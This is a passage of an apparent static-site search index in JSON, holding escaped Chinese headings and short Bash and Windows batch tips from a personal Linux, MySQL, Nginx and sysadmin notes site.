<li>\\u4fdd\\u6301\\u7279\\u5b9a\\u5143\\u7d20\\u76f8\\u5bf9\\u4e8e\\u7a97\\u53e3\\u7684\\u4f4d\\u7f6e\\u4e0d\\u53d8</li> <li>Tampermonkey\\u81ea\\u52a8\\u586b\\u5145\\u7528\\u6237\\u540d\\u5bc6\\u7801\\u8868\\u5355\\uff0c\\u5e76\\u901a\\u8fc7\\u524d\\u7aef\\u7684\\u8868\\u5355\\u68c0\\u67e5</li> <li>\\u4f7f\\u7528browserify\\u5c06npm\\u5305\\u6253\\u5305\\u6210\\u6d4f\\u89c8\\u5668\\u80fd\\u7528\\u7684js\\u6587\\u4ef6</li> </ul>\"},{\"location\":\"#jekyll\",\"title\":\"Jekyll\",\"text\":\"<ul> <li>\\u78b0\\u5230\\u8fc7\\u7684\\u5751</li> <li>\\u914d\\u7f6e\\u4ee3\\u7801\\u9ad8\\u4eae\\u5e76\\u663e\\u793a\\u884c\\u53f7</li> <li>\\u89e3\\u51b3Github Metadata Warning</li> <li>\\u5b89\\u88c5Jekyll</li> </ul>\"},{\"location\":\"#linux-setup\",\"title\":\"Linux-setup\",\"text\":\"<ul> <li>\\u7f51\\u7edc\\u52a0\\u901fprivoxy</li> <li>\\u914d\\u7f6e\\u6709\\u7ebf\\u9759\\u6001IP</li> <li>\\u4f7f\\u7528ifconfig\\u4fee\\u6539ip\\u540e\\u8bb0\\u5f97\\u8981\\u91cd\\u65b0\\u914droute</li> <li>\\u914d\\u7f6eapt\\u6e90\\u4ee5\\u52a0\\u901f\\u56fd\\u5185\\u73af\\u5883\\u4e0bapt\\u901f\\u5ea6</li> <li>\\u5355\\u7f51\\u5361\\u83b7\\u5f97\\u591a\\u4e2aIP</li> <li>\\u9510\\u901f\\u5b89\\u88c5</li> <li>\\u89e3\\u51b3apt\\u4f9d\\u8d56\\u95ee\\u9898</li> <li>UnixBench\\u6027\\u80fd\\u8bc4\\u6d4b</li> <li>\\u6e05\\u9664\\u5185\\u5b58\\u7f13\\u5b58</li> <li>\\u4f7f\\u7528iptables\\u5c01ip</li> <li>iptables\\u53ea\\u5141\\u8bb8\\u7279\\u5b9aIP\\u8bbf\\u95ee\\u67d0\\u7aef\\u53e3</li> <li>\\u65e0root\\u6743\\u9650\\u4f7f\\u7528screen</li> <li>screen\\u7684\\u7528\\u6cd5</li> <li>\\u4e24\\u6761iptables\\u5b9e\\u73b0\\u7aef\\u53e3\\u8f6c\\u53d1\\uff0c\\u66b4\\u9732\\u5185\\u7f51\\u7aef\\u53e3</li> <li>\\u4fdd\\u62a4\\u91cd\\u8981\\u7cfb\\u7edf\\u6587\\u4ef6\\u9632\\u6b62\\u88ab\\u5220chattr +i</li> <li>\\u65f6\\u533a\\u8bbe\\u7f6e</li> <li>\\u67e5\\u770bCPU\\u6838\\u5fc3\\u4e2a\\u6570</li> <li>\\u975e\\u4ea4\\u4e92\\u5f0f\\u6dfb\\u52a0\\u7528\\u6237</li> <li>\\u7b80\\u5355OpenVPN\\u914d\\u7f6e</li> <li>\\u65f6\\u533a\\u65f6\\u95f4\\u8bbe\\u7f6e</li> <li>\\u5feb\\u901f\\u5730\\u683c\\u5f0f\\u5316\\u5927\\u5206\\u533aext4</li> <li>\\u660e\\u660e\\u8fd8\\u6709\\u5927\\u91cf\\u7a7a\\u95f4\\u5374\\u8bf4\\u6ca1\\u6709\\uff1finode\\u6ee1\\u4e86\\uff01\\u6302\\u8f7d\\u5355\\u4e2a\\u6587\\u4ef6\\u4e3abtrfs\\u5206\\u533a</li> <li>\\u6269\\u5bb9\\u4e0a\\u8ff0\\u5355\\u6587\\u4ef6btrfs\\u78c1\\u76d8 /dev/loop0\\u6269\\u5bb9</li> <li>\\u5b89\\u5168\\u5730\\u62d4\\u51fa\\u79fb\\u52a8\\u786c\\u76d8</li> <li>\\u6302\\u8f7d\\u591a\\u4e2avmdk\\u4e2d\\u7684LVM\\u5206\\u533a</li> <li>\\u542f\\u7528rc.local</li> </ul>\"},{\"location\":\"#linux-ssh\",\"title\":\"Linux-SSH\",\"text\":\"<ul> <li>\\u5ba2\\u6237\\u7aef\\u4e0d\\u540c\\u670d\\u52a1\\u5668\\u4f7f\\u7528\\u4e0d\\u540c\\u7684id_rsa</li> <li>\\u6362\\u4e2a\\u7aef\\u53e3\\u5f00\\u542f\\u4e00\\u4e2a\\u4e34\\u65f6\\u7684sshd</li> <li>ssh\\u53cd\\u5411\\u4ee3\\u7406</li> <li>\\u542f\\u7528SSH\\u5bc6\\u94a5\\u767b\\u5f55\\u540e\\u4e24\\u6b65\\u9a8c\\u8bc1</li> <li>ssh\\u767b\\u5f55\\u7981\\u7528\\u9ed8\\u8ba4\\u7684\\u4fe1\\u606f\\u663e\\u793a Ubuntu</li> </ul>\"},{\"location\":\"#linux-cli\",\"title\":\"Linux-cli\",\"text\":\"<ul> <li>\\u67e5\\u770b\\u5185\\u7f6e\\u547d\\u4ee4\\u7684\\u5e2e\\u52a9</li> <li>grep\\u641c\\u7d22\\u5e2e\\u52a9\\u6587\\u6863</li> <li>\\u5e2e\\u52a9\\u6587\\u672c\\u7684grep \\u75282&gt;&amp;1</li> <li>\\u5404\\u79cd\\u89e3\\u538b\\u547d\\u4ee4</li> <li>\\u5f53\\u524d\\u76ee\\u5f55\\u6587\\u4ef6\\u5168\\u6587\\u641c\\u7d22</li> <li>\\u7edf\\u8ba1\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u4ee3\\u7801\\u884c\\u6570</li> <li>\\u67e5\\u770b\\u7ed9\\u5b9a\\u6587\\u4ef6\\u5217\\u8868\\u7684\\u6587\\u4ef6\\u5927\\u5c0f</li> <li>wget\\u6162\\u6162\\u4e0b\\u8f7d</li> <li>touch\\u4fee\\u6539\\u65f6\\u95f4\\u6233</li> <li>\\u53bb\\u6389Ubuntu\\u9ed8\\u8ba4\\u60c5\\u51b5\\u4e0bls\\u7684\\u989c\\u8272</li> <li>\\u6362\\u884c\\u65b9\\u5f0f\\u4fee\\u6539</li> <li>iodine\\u2013\\u4f7f\\u7528DNS\\u4f20\\u8f93\\u6570\\u636e</li> <li>\\u8fdc\\u7a0b\\u63a7\\u5236Windows</li> <li>\\u7edf\\u8ba1\\u4ee5\\u7279\\u5b9a\\u5b57\\u7b26\\u4e32\\u5f00\\u5934\\u7684\\u6587\\u4ef6\\u6570\\u76ee</li> <li>hexdump\\u67e5\\u770b\\u5b57\\u7b26\\u5185\\u90e8\\u7f16\\u7801</li> <li>\\u5b50\\u76ee\\u5f55\\u5927\\u5c0f\\u6392\\u5e8f</li> <li>\\u5b89\\u88c5ffmpeg</li> <li>\\u4fee\\u6539readonly\\u7684\\u53d8\\u91cf</li> <li>\\u6c38\\u4e45\\u7b49\\u5f85 sleep infinity</li> <li>zmap\\u626b\\u63cf\\u6574\\u4e2a\\u7f51\\u6bb5\\u7279\\u5b9a\\u5f00\\u653e\\u7aef\\u53e3</li> <li>\\u5bf9ip\\u5217\\u8868\\u6279\\u91cf\\u6d4b\\u8bd5redis\\u672a\\u6388\\u6743\\u6f0f\\u6d1e</li> <li>\\u4f7f\\u7528ImageMagick\\u5bf9\\u56fe\\u50cf\\u8fdb\\u884c\\u88c1\\u526a</li> <li>\\u67e5\\u627e0\\u5b57\\u8282\\u7684\\u6587\\u4ef6\\u5e76\\u5220\\u9664</li> <li>\\u7528vim\\u53bb\\u9664\\\\r\\u6362\\u884c\\u7b26 :set ff=unix</li> <li>watch\\u6301\\u7eed\\u89c2\\u5bdf\\u547d\\u4ee4\\u8f93\\u51fa</li> <li>\\u6811\\u8393\\u6d3e2\\u4e0a\\u7f16\\u8bd1Truecrypt 7.1a\\uff0c\\u4f7f\\u7528make -j5 -l4\\u52a0\\u901f\\u7f16\\u8bd1</li> <li>scp\\u76ee\\u5f55\\u65ad\\u70b9\\u7eed\\u4f20</li> <li>\\u4f7f\\u7528wget\\u4ee3\\u66ffscp\\u4f20\\u8f93\\u6587\\u4ef6\\u5939 \\u907f\\u514d\\u65e0\\u8c13\\u7684\\u52a0\\u5bc6\\u6027\\u80fd\\u635f\\u5931\\uff08\\u9002\\u7528\\u4e8e\\u6811\\u8393\\u6d3e\\uff09</li> <li>\\u6e05\\u9664\\u5df2\\u7ecf\\u65ad\\u5f00\\u7684sshd\\u8fdb\\u7a0b</li> <li>\\u6279\\u91cf\\u66ff\\u6362\\u6587\\u672c</li> <li>\\u4ece\\u4e8c\\u8fdb\\u5236\\u6587\\u4ef6\\u4e2d\\u63d0\\u53d6\\u7247\\u6bb5</li> <li>redis\\u5339\\u914d\\u524d\\u7f00\\u5220\\u9664\\u5927\\u91cf\\u952e\\u503c</li> <li>\\u6279\\u91cf\\u66ff\\u6362\\u5b50\\u76ee\\u5f55\\u7279\\u5b9a\\u540e\\u7f00\\u540d\\u6587\\u4ef6\\u5185\\u5bb9</li> <li>coredump in fuzzing</li> <li>bash\\u5bf9\\u6587\\u4ef6\\u4e71\\u5e8f\\u904d\\u5386</li> <li>grep\\u6b63\\u5219\\u63d0\\u53d6\\u7279\\u5b9a\\u5185\\u5bb9</li> <li>\\u81ea\\u52a8kill\\u5927\\u5185\\u5b58\\u7684\\u8fdb\\u7a0b</li> <li>screen\\u81ea\\u52a8\\u64cd\\u4f5c\\u4ee5\\u53ca\\u83b7\\u53d6\\u5f53\\u524d\\u5c4f\\u5e55\\u5185\\u5bb9</li> <li>gdb\\u81ea\\u52a8\\u5316</li> <li>mktorrent\\u5236\\u4f5c\\u79cd\\u5b50torrent\\u6587\\u4ef6</li> </ul>\"},{\"location\":\"#linux-backup\",\"title\":\"Linux-backup\",\"text\":\"<ul> <li>\\u4e00\\u4e2a\\u826f\\u597d\\u5b89\\u5168\\u7684\\u5907\\u4efd\\u8ba1\\u5212\\u81f3\\u5173\\u91cd\\u8981</li> <li>\\u7528rsync\\u4ee3\\u66ffscp</li> <li>\\u4f7f\\u7528rsync\\u50cftime machine\\u4e00\\u6837\\u5168\\u76d8\\u5907\\u4efd</li> <li>rsync\\u5907\\u4efd\\u5b89\\u5353\\u624b\\u673a</li> </ul>\"},{\"location\":\"#mysql\",\"title\":\"MySQL\",\"text\":\"<ul> <li>\\u67e5\\u770b\\u8868\\u7ed3\\u6784 desc</li> <li>MERGE\\u5b58\\u50a8\\u5f15\\u64ce</li> <li>\\u5220\\u9664\\u8868\\u7684\\u5197\\u4f59</li> <li>\\u4fee\\u6539\\u8868 alter table</li> <li>\\u5c06\\u4e2d\\u6587\\u8f6c\\u4e3a\\u62fc\\u97f3\\u7684\\u51fd\\u6570</li> <li>\\u4ece\\u8def\\u5f84URL\\u83b7\\u53d6\\u6587\\u4ef6\\u540d\\u79f0</li> <li>\\u67e5\\u8be2\\u4f18\\u5316\\u2013explain\\u53d1\\u73b0\\u51fa\\u73b0\\u4e86using filesort\\uff1b\\u5185\\u5b58\\u8868\\u7d22\\u5f15\\u7684\\u9009\\u62e9</li> <li>\\u5185\\u5b58\\u8868The table is full\\u7684\\u89e3\\u51b3</li> <li>replace\\u51fd\\u6570\\u66ff\\u6362\\u6587\\u672c</li> <li>\\u7b80\\u5355\\u7684split\\u529f\\u80fd\\uff0c\\u6587\\u672c\\u8f6c\\u6570\\u5b57</li> <li>mysqld\\u914d\\u7f6e\\u53c2\\u6570\\u8c03\\u4f18</li> <li>\\u652f\\u6301emoji\\uff0c\\u4eceutf8\\u5347\\u7ea7\\u5230utf8mb4</li> <li>\\u89e3\\u51b3 Too many open files \\u9519\\u8bef</li> <li>\\u89e3\\u51b3ubuntu16.04\\u4e0amysql\\u88abapt upgrade\\u81ea\\u52a8\\u5173\\u95ed\\u7684\\u95ee\\u9898</li> <li>NULL\\u8f6c0</li> <li>\\u7ed9MySQL\\u589e\\u52a0\\u4e00\\u4e2aslave\\u505a\\u4e3b\\u4ece\\u590d\\u5236</li> </ul>\"},{\"location\":\"#nginx\",\"title\":\"Nginx\",\"text\":\"<ul> <li>Nginx\\u601d\\u8003\\u9898</li> <li>\\u666e\\u901a\\u8d44\\u6e90\\u5141\\u8bb8POST</li> <li>\\u4e0d\\u5e26\\u540e\\u7f00\\u7684\\u6587\\u4ef6\\u5f53\\u6210php\\u6267\\u884c</li> <li>\\u83b7\\u5f97Let\\u2019s encrypt\\u514d\\u8d39https\\u8bc1\\u4e66</li> <li>\\u4f7f\\u7528acme.sh\\u83b7\\u5f97\\u6cdb\\u57df\\u540d\\u8bc1\\u4e66</li> <li>\\u914d\\u7f6e\\u5b89\\u5168\\u7684https</li> <li>\\u53cd\\u5411\\u4ee3\\u7406\\u4e4b\\u66ff\\u6362\\u7f51\\u9875\\u3001JS\\u4e2d\\u7684\\u6587\\u672c</li> <li>root\\u4e0ealias\\u7684\\u533a\\u522b</li> <li>\\u5728bash on win10\\u4e0a\\u4f7f\\u7528Nginx</li> <li>Nginx\\u5141\\u8bb8\\u5217\\u76ee\\u5f55</li> <li>\\u5b89\\u5168\\u5730\\u4f7f\\u7528SeaweedFS\\u4f5c\\u4e3a\\u56fe\\u7247\\u53cd\\u5411\\u4ee3\\u7406\\u670d\\u52a1\\u5668: \\u591a\\u4e0a\\u6e38\\u5207\\u6362\\uff0cSeaweedFS Docker\\u90e8\\u7f72</li> <li>proxy_pass \\u52a8\\u6001\\u4ee3\\u7406</li> <li>\\u4f7f\\u7528\\u963f\\u91cc\\u4e91\\u51fd\\u6570\\u8ba1\\u7b97\\u5b9a\\u65f6\\u66f4\\u65b0https\\u8bc1\\u4e66</li> <li>\\u4f7f\\u7528nfs\\u5b58\\u50a8Nginx\\u65e5\\u5fd7</li> </ul>\"},{\"location\":\"#php\",\"title\":\"PHP\",\"text\":\"<ul> <li>\\u663e\\u793a\\u9519\\u8bef\\u4fe1\\u606f</li> <li>\\u5168\\u9875\\u9762iframe</li> </ul>\"},{\"location\":\"#rabbitmq\",\"title\":\"RabbitMQ\",\"text\":\"<ul> <li>\\u4f7f\\u7528Docker\\u90e8\\u7f72</li> <li>\\u4efb\\u52a1\\u63a8\\u9001\\u6267\\u884c \\u4ee3\\u7801\\u793a\\u4f8b</li> </ul>\"},{\"location\":\"#ubuntu\",\"title\":\"Ubuntu\\u684c\\u9762\\u7248\",\"text\":\"<ul> <li>\\u5b89\\u88c5Google\\u62fc\\u97f3\\u540e\\u7528\\u4e0a\\u4e91\\u5019\\u9009\\u529f\\u80fd</li> </ul>\"},{\"location\":\"#virtualbox\",\"title\":\"VirtualBox\",\"text\":\"<ul> <li>\\u4e0b\\u8f7d\\u5b89\\u88c5\\uff0c\\u4e00\\u5b9a\\u8bb0\\u5f97\\u5b89\\u88c5\\u989d\\u5916\\u5305</li> <li>\\u521b\\u5efa\\u865a\\u62df\\u673a\\uff0c\\u8bbe\\u7f6e\\u865a\\u62df\\u673a\\u9009\\u9879</li> <li>\\u542f\\u52a8\\u865a\\u62df\\u673a</li> <li>\\u8fdc\\u7a0b\\u63a7\\u5236\\u865a\\u62df\\u673a</li> </ul>\"},{\"location\":\"#winsoftware\",\"title\":\"WinSoftware\",\"text\":\"<ul> <li>Emeditor</li> <li>Everything</li> <li>Sysinternals Utilities</li> <li>CLOC\\u4ee3\\u7801\\u7edf\\u8ba1\\u5229\\u5668</li> <li>U\\u76d8\\u5b89\\u88c5\\u539f\\u7248\\u7cfb\\u7edf\\u76d8</li> <li>WinRAR</li> <li>BurpSuite</li> <li>BEncode Editor</li> <li>Win10 Windows\\u7167\\u7247\\u67e5\\u770b\\u5668</li> </ul>\"},{\"location\":\"BASH/\",\"title\":\"BASH\",\"text\":\"\"},{\"location\":\"BASH/#bashalias\",\"title\":\"\\u5728bash\\u811a\\u672c\\u4e2d\\u4f7f\\u7528alias\",\"text\":\"<p>@TAG alias</p> <p>\\u52a0\\u4e0a\\u8fd9\\u4e48\\u4e00\\u53e5\\uff1a</p> <pre><code>shopt -s expand_aliases\\n</code></pre>\"},{\"location\":\"BASH/#_1\",\"title\":\"\\u5224\\u65ad\\u547d\\u4ee4\\u884c\\u53c2\\u6570\\u662f\\u5426\\u4e3a\\u7a7a\",\"text\":\"<p>\\u5728python\\u91cc\\u53ef\\u4ee5\\u7528len(sys.argv)\\u5224\\u65ad\\u53c2\\u6570\\u4e2a\\u6570\\uff0cbash\\u91cc\\u7528\\u4e2d\\u62ec\\u53f7\\u91cc\\u7684-z</p> <pre><code>if [ -z \\\"$1\\\" ] &amp;&amp; [ -z \\\"$2\\\" ]; then\\necho \\\"Usage: $0 &lt;parameter1&gt; &lt;parameter2&gt;\\\"\\nfi\\n</code></pre>\"},{\"location\":\"BASH/#forseq\",\"title\":\"for\\u5faa\\u73af\\u7528seq\\u751f\\u6210\\u6570\\u5b57\\u5217\\u8868\",\"text\":\"<p>@TAG seq</p> <p>\\u6ce8\\u610f\\u7ec8\\u70b9\\u662f\\u5305\\u542b\\u5728\\u5185\\u7684\\uff0c\\u4e0d\\u540c\\u4e8ePython\\u7684range</p> <ul> <li><code>seq 3</code>: 1 2 3</li> <li><code>seq 2 3</code>: 2 3</li> <li><code>seq 1 2 5</code>: 1 3 5</li> </ul> <pre><code>for i in $(seq 1 $END); do echo $i; done\\n</code></pre>\"},{\"location\":\"BASH/#bash_1\",\"title\":\"BASH\\u505a\\u4e0d\\u540c\\u8fdb\\u5236\\u95f4\\u6570\\u5b66\\u8ba1\\u7b97\",\"text\":\"<p>\\u4e0d\\u9700\\u8981bc\\u4e5f\\u53ef\\u4ee5\\u76f4\\u63a5\\u505a\\u8ba1\\u7b97\\uff0c\\u4f8b\\u5982\\u8ba1\\u7b975+0xa+0b1010</p> <pre><code>echo $((5+16#a+2#1010))\\n</code></pre>\"},{\"location\":\"BASH/#apt\",\"title\":\"\\u5224\\u65ad\\u547d\\u4ee4\\u4e0d\\u5b58\\u5728\\u518dapt\\u5b89\\u88c5\",\"text\":\"<pre><code>command -v aria2c &gt;/dev/null 2&gt;&amp;1 || { apt update &amp;&amp; apt install -y aria2; }\\n</code></pre> <p>\\u5982\\u679c\\u6709\\u591a\\u4e2a\\u8f6f\\u4ef6\\u53ef\\u80fd\\u8981\\u5b89\\u88c5\\uff0c\\u6ca1\\u5fc5\\u8981\\u6bcf\\u6b21\\u90fdapt update\\uff0c\\u53ef\\u4ee5\\u5148\\u88c5\\u4e86\\u518d\\u8bf4 \\u5931\\u8d25\\u5c31apt update</p> <pre><code>command -v 7z &gt;/dev/null 2&gt;&amp;1 || { apt-get install -y p7zip; }\\ncommand -v 7z &gt;/dev/null 2&gt;&amp;1 || { apt update;  apt-get install -y p7zip; }\\n</code></pre>\"},{\"location\":\"BASH/#_2\",\"title\":\"\\u5224\\u65ad\\u6587\\u4ef6\\u4e0d\\u5b58\\u5728\",\"text\":\"<p>\\u6ce8\\u610f<code>]</code>\\u524d\\u9762\\u8981\\u6709\\u7a7a\\u683c</p> <pre><code>if [ ! -f \\\"somefile\\\" ]; then\\ncurl ...\\nfi\\n</code></pre>\"},{\"location\":\"BASH/#sort\",\"title\":\"sort\\u6392\\u5e8f\",\"text\":\"<p>\\u9006\\u5e8f -r \\u6309\\u7248\\u672c\\u6392\\u5e8f \\u6392\\u5e8fIP\\u5730\\u5740 -V \\u6309\\u6570\\u5b57\\u6392\\u5e8f -n \\u6309\\u4eba\\u7c7b\\u7406\\u89e3\\u7684\\u6587\\u4ef6\\u5927\\u5c0f\\u6392\\u5e8f -h \\u6307\\u5b9a\\u67d0\\u4e9b\\u5217\\u6765\\u6392\\u5e8f -k 3,3 -k 4,4 \\u6307\\u5b9a\\u5206\\u9694\\u7b26\\u7528-t \\u2018.\\u2019</p> <p>\\u53c2\\u8003\\uff1a https://www.madboa.com/geek/sort-addr/</p>\"},{\"location\":\"BASH/#rsync\",\"title\":\"rsync\\u79fb\\u52a8\\u8fdc\\u7a0b\\u76ee\\u5f55\\u7279\\u5b9a\\u6587\\u4ef6\\u81f3\\u672c\\u673a\\u540e\\u5faa\\u73af\\u64cd\\u4f5c\",\"text\":\"<p>rsync\\u6709<code>--dry-run</code>\\u53c2\\u6570\\u786e\\u8ba4\\u6ca1\\u51fa\\u9519\\u540e\\u518d\\u64cd\\u4f5c</p> <pre><code>rsync -P --remove-source-files -avz '1.2.3.4:/root/dockerimages/*.tar.7z' ./\\n\\nfor filename in *.tar.7z; do 7z x -so $filename | docker load; mv $filename ./done/; done\\n</code></pre>\"},{\"location\":\"BAT/\",\"title\":\"BAT \\u6279\\u5904\\u7406\",\"text\":\"<p>\\u4e5f\\u5305\\u542b\\u4e00\\u4e9bWindows\\u547d\\u4ee4\\u884c\\u5de5\\u5177</p>\"},{\"location\":\"BAT/#cmd\",\"title\":\"\\u5feb\\u901f\\u6253\\u5f00cmd\",\"text\":\"<p>\\u8fd8\\u5728\\u7528Win+R cmd\\u518d\\u7528pushd\\u547d\\u4ee4\\uff1f</p> <p>\\u5728\\u8d44\\u6e90\\u7ba1\\u7406\\u5668\\u7684\\u5730\\u5740\\u680f\\u8f93\\u5165cmd\\u56de\\u8f66\\u5c31\\u80fd\\u76f4\\u63a5\\u8fdb\\u5165\\u5f53\\u524d\\u76ee\\u5f55</p> <p>\\u53e6\\u5916\\uff0c\\u4e0d\\u5982\\u76f4\\u63a5\\u628acmd\\u52a0\\u5165\\u5230\\u9f20\\u6807\\u53f3\\u952e</p>\"},{\"location\":\"BAT/#_1\",\"title\":\"\\u5e76\\u5217\\u8bed\\u53e5\\u8bed\\u6cd5\",\"text\":\"<pre><code>\\u987a\\u5e8f\\u6267\\u884c &amp;\\necho a &amp; echo b \\n\\n\\u524d\\u8005\\u6b63\\u786e\\u624d\\u6267\\u884c &amp;&amp;\\n&gt;nul 2&gt;nul ping -n 1 qq.com &amp;&amp; echo network ok\\n\\n\\u524d\\u8005\\u9519\\u8bef\\u624d\\u6267\\u884c ||\\n&gt;nul 2&gt;nul ping -n 1 qq.com || echo network failure\\n</code></pre>\"},{\"location\":\"BAT/#for\",\"title\":\"\\u6765\\u4e00\\u4e2a\\u6b7b\\u5faa\\u73af\\u5427 for\",\"text\":\"<p>\\u7528\\u4e8e\\u7ed3\\u675f\\u8fdb\\u7a0b\\uff0c\\u6216\\u8005DNS\\u67e5\\u8be2\\u770b\\u770b\\u89e3\\u6790\\u662f\\u5426\\u751f\\u6548</p> <pre><code>for /l %i in (1,1,9999999) do ...\\n</code></pre>\"},{\"location\":\"BAT/#taskkill\",\"title\":\"\\u7ed3\\u675f\\u8fdb\\u7a0b taskkill\",\"text\":\"<p>\\u5f53\\u542f\\u52a8cmd\\u7a97\\u53e3\\u8fc7\\u591a\\u7684\\u65f6\\u5019\\uff0c\\u4f7f\\u7528taskkill\\u6279\\u91cf\\u5173\\u95ed</p> <pre><code>taskkill /f /im cmd.exe\\n</code></pre> <p>\\u7c7b\\u4f3c\\u7684Linux\\u547d\\u4ee4\\u4e3a<code>killall bash</code></p>\"},{\"location\":\"BAT/#free\",\"title\":\"\\u5185\\u5b58\\u6574\\u7406 free\",\"text\":\"<p>\\u5fae\\u8f6f\\u81ea\\u5df1\\u51fa\\u7684\\u4e00\\u4e2a\\u5185\\u5b58\\u6574\\u7406\\u5de5\\u5177\\uff0c\\u9700\\u8981\\u7ba1\\u7406\\u5458\\u6743\\u9650</p> <p>\\u4e0b\\u8f7d\\uff1aempty.exe</p> <pre><code>empty *\\n</code></pre>\"},{\"location\":\"BAT/#sleepx\",\"title\":\"\\u7761\\u4e00\\u4f1a SleepX\",\"text\":\"<p>\\u7a0b\\u5e8f\\u9700\\u8981\\u7b49\\u5f85\\u4e00\\u5b9a\\u65f6\\u95f4\\u518d\\u7ee7\\u7eed\\u8fd0\\u884c\\u5c31\\u53ef\\u4ee5sleepx\\u5566\\uff0c\\u4f5c\\u8005Bill Stewart (bstewart@iname.com)</p> <p>\\u4e0b\\u8f7d\\uff1aSleepX.exe</p> <pre><code>SleepX 10\\n</code></pre> <p>\\u7b49\\u5f855s\\uff0c\\u5982\\u679c\\u7528\\u6237\\u7b49\\u4e0d\\u53ca\\u53ef\\u4ee5\\u6309\\u952e\\uff0c\\u6b64\\u65f6 not \\u201c%errorlevel%\\u201d == \\u201c0\\u201d</p> <pre><code>SleepX -k 5\\n</code></pre>\"},{\"location\":\"BAT/#curl\",\"title\":\"\\u547d\\u4ee4\\u884c\\u7684\\u6d4f\\u89c8\\u5668 curl\",\"text\":\"<p>\\u5927\\u540d\\u9f0e\\u9f0e\\u7684cURL\\uff0c\\u4e0d\\u5fc5\\u591a\\u8a00\\uff1b\\u53ea\\u662f\\u5b83\\u7684\\u547d\\u4ee4\\u884c\\u7684\\u8fd0\\u884c\\u65b9\\u5f0f\\u4e0elibcurl\\u7528\\u8d77\\u6765\\u5dee\\u5f02\\u5f88\\u5927\\uff08\\u5982\\u6bd4\\u8f83php\\u7684curl\\u7528\\u6cd5\\uff09</p> <p>\\u5b98\\u65b9\\uff1ahttps://curl.haxx.se/</p> <p>\\u7b80\\u5355\\u5165\\u95e8\\uff1ahttp://www.bathome.net/thread-1761-1-1.html</p> <p>\\u5c06curl\\u8f6c\\u4e3apython requests http://curl.trillworks.com/</p> <p>\\u4e0b\\u8f7d7.51 x64\\u7248\\u672c</p> <p>\\u5177\\u4f53\\u8bf7\\u89c1\\u5355\\u72ec\\u6587\\u6863cURL.md</p>\"},{\"location\":\"BAT/#_2\",\"title\":\"\\u5224\\u65ad\\u6587\\u4ef6\\u5939\\u5b58\\u5728\",\"text\":\"<p>\\u901a\\u8fc7\\u5224\\u65adnul\\u8fd9\\u4e2a\\u7279\\u6b8a\\u6587\\u4ef6\\u7684\\u5b58\\u5728\\u6027\\uff08\\u7528\\u6237\\u5e76\\u4e0d\\u80fd\\u521b\\u5efa\\u6587\\u4ef6\\u540d\\u5f62\\u5982nul\\u7684\\u7279\\u6b8a\\u6587\\u4ef6\\uff09</p> <pre><code>if exist DIRNAME\\\\nul echo Yes!\\n</code></pre>\"},{\"location\":\"BAT/#mklinkfsutil-hardlink-create\",\"title\":\"\\u521b\\u5efa\\u786c\\u94fe\\u63a5mklink\\u6216\\u8005fsutil hardlink create\",\"text\":\"<p>Win7\\u53ca\\u4ee5\\u4e0a\\uff1a</p> <pre><code>mklink /H Link Target\\n</code></pre> <p>\\u76ee\\u5f55\\u8fd8\\u9700\\u8981/J</p> <pre><code>mklink /H /J Link Target\\n</code></pre> <p>WinXP\\u53ea\\u80fd\\u7528\\uff1a</p> <pre><code>fsutil hardlink create &lt;new filename&gt; &lt;existing filename&gt;\\n</code></pre>\"},{\"location\":\"BAT/#_3\",\"title\":\"\\u7aef\\u53e3\\u8f6c\\u53d1\",\"text\":\"<p>\\u6b64\\u547d\\u4ee4\\u9700\\u8981\\u7ba1\\u7406\\u5458\\u6743\\u9650</p> <pre><code>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=\\u8f6c\\u53d1\\u51fa\\u7684\\u7aef\\u53e3 connectaddress=\\u8f6c\\u53d1\\u7684\\u6e90IP\\u5730\\u5740 connectport=\\u8f6c\\u53d1\\u7684\\u6e90\\u7aef\\u53e3\\n</code></pre>\"},{\"location\":\"BAT/#rvpn\",\"title\":\"\\u4fdd\\u6301RVPN\\u4e0d\\u65ad\\u5f00\",\"text\":\"<p>rvpn\\u4f1a\\u81ea\\u52a8\\u65ad\\u5f00\\uff0c\\u6240\\u4ee5\\u5199\\u4e86\\u4e2a\\u811a\\u672c\\u5224\\u65ad\\u5e76\\u81ea\\u52a8\\u91cd\\u8fde</p> <p>RVPNKeepAlive.bat</p> <p>\\u5176\\u4e2d\\u7684\\u77e5\\u8bc6\\u70b9\\uff1a</p> <ol> <li> <p>\\u5224\\u65ad\\u547d\\u4ee4\\u662f\\u5426\\u6210\\u529f\\u7528if \\u201c%errorlevel%\\u201d==\\u201d0\\u201d\\uff0cerrorlevel\\u8fd9\\u4e2a\\u53d8\\u91cf\\u662f\\u4e0a\\u4e00\\u6761\\u547d\\u4ee4\\u7684\\u8fd4\\u56de\\u7ed3\\u679c\\uff08C\\u7a0b\\u5e8f\\u7684int main\\u7684\\u8fd4\\u56de\\u503c\\uff09\\uff0c\\u4e00\\u822c\\u89c4\\u5b9a\\u8fd4\\u56de0\\u8868\\u793a\\u6ca1\\u6709\\u53d1\\u751f\\u9519\\u8bef</p> </li> <li> <p>\\u7528ping www.baidu.com\\u548cping -n 2 ip.cn\\u505a\\u7c97\\u7cd9\\u7684\\u7b49\\u5f85\\u5ef6\\u65f6\\uff0c\\u5176\\u4e2d-n\\u8868\\u793aping\\u7684\\u6b21\\u6570\\uff0c\\u9ed8\\u8ba4\\u662f4\\uff0c\\u6539\\u5c0f\\u4e00\\u70b9\\u5c31\\u662f\\u66f4\\u77ed\\u7684\\u5ef6\\u65f6\\u54af</p> </li> <li> <p>\\u542f\\u52a8\\u4e00\\u4e2aGUI\\u7684exe\\uff0c\\u9700\\u8981\\u7528start \\u201c\\u201d example.exe</p> </li> </ol>\"},{\"location\":\"BAT/#vpn\",\"title\":\"\\u6d59\\u6c5f\\u5927\\u5b66\\u6709\\u7ebfvpn\\u9759\\u6001\\u8def\\u7531\\u914d\\u7f6e\\u811a\\u672c\",\"text\":\"<p>Author: shuishui</p> 